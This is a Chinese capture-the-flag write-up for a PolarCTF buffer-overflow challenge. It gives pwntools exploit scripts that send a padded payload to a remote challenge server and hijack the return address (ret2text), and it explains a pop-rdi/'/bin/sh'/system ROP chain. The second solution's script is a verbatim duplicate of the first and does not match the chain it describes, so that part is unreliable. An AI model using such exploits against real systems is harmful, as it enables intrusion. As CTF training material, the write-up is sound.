【PolarCTF】简单溢出
检查保护发现NX开启没办法进行ret2shellcodehahaha是64位程序使用IDA分析hahaha发现scanf函数程序本身自带有/bin/sh然后继续往下追踪发现有一个fact后面函数我们可以直接调用fact函数解法一 直接调用fact函数可以使用objdump来找到fact的地址objdump -d -M intel ./hahaha | grep fact也可以通过IDA查看到然后就是找填充缓冲区长度这里可以通过IDA直接看需要0x30个字节也可以使用gdb自己分析更准确有时候IDA的不一定准先生成字符进行填充然后查看rbp里面的内容并计算偏移# 查看$rbp的内容 pwndbgx $rbp这里cyclic算出来的48是十进制的我们还要转换为十六进制发现的确实0x30exp如下from pwn import * # 1.95.36.136 2084 #io process(./hahaha) io remote(1.95.36.136,2128) fact_addr 0x400596 # rbp长度是8字节我们还要填充0x8 padding 0x30 0x8 payload bA*padding payload p64(fact_addr) io.sendline(payload) io.interactive()解法二 ret2libc这里我们还可以另外一种方法我们查询下/bin/sh的位置ROPgadget --binary hahaha --string /bin/sh/bin/sh的地址为0x499664也可以通过IDA追踪查看同样看下偏移在64位的程序中程序前6个参数必须依次放在寄存器中(rdi-rsi-rdx-rcx一r8-r9)栈只存第7个及以后的参数因此我们需要找pop_rdi_ret将/bin/sh打入到rdi中这样后续我们执行system函数的时候就可以让system函数读取到ROPgadget --binary hahaha | grep pop找到pop_rdi_ret可以使用地址为0x400643接下来找system地址objdump -d -M intel ./hahaha | grep systemsystemplt的地址为0x400460那我们的exp如下from pwn import * # 1.95.36.136 2084 #io process(./hahaha) io remote(1.95.36.136,2128) fact_addr 0x400596 # rbp长度是8字节我们还要填充0x8 padding 0x30 0x8 payload bA*padding payload p64(fact_addr) io.sendline(payload) io.interactive()疑问解答下面是自己和豆包的对话1、ret2shellcode的攻击手法是什么样的2、为什么需要用pop_ret来传递/bin/sh程序里面已经有为什么不直接使用3、我记得有一个情况下是需要直接找到system在动态链接库的真实地址那种情况是什么